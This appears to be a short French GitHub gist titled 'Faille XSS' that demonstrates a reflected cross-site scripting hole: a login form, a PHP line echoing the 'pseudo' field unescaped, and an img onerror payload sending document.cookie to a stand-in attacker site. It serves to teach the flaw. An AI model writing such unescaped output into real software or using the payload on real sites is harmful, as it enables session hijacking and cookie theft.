Skip to content

Instantly share code, notes, and snippets.

@quoidautre
Last active July 14, 2017 21:29
Show Gist options
  • Save quoidautre/ba5978651194c7e64c652dee25aea176 to your computer and use it in GitHub Desktop.
Save quoidautre/ba5978651194c7e64c652dee25aea176 to your computer and use it in GitHub Desktop.
Faille XSS
HTML :
<html>
<form method="post" action="connexion.php">
<input type="texte" name="pseudo" />
<input type="submit" value="Connexion" />
</form>
</html>
PHP :
<?php
echo "Bonjour ".$_POST['pseudo']." !"
?>
Injection, et.... oupssss ! :
<img src="azerty.jpg" onerror="window.location='http://www.site_du_hacker.com/recuperation_cookie.php?cookie='+document.cookie;" hidden>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment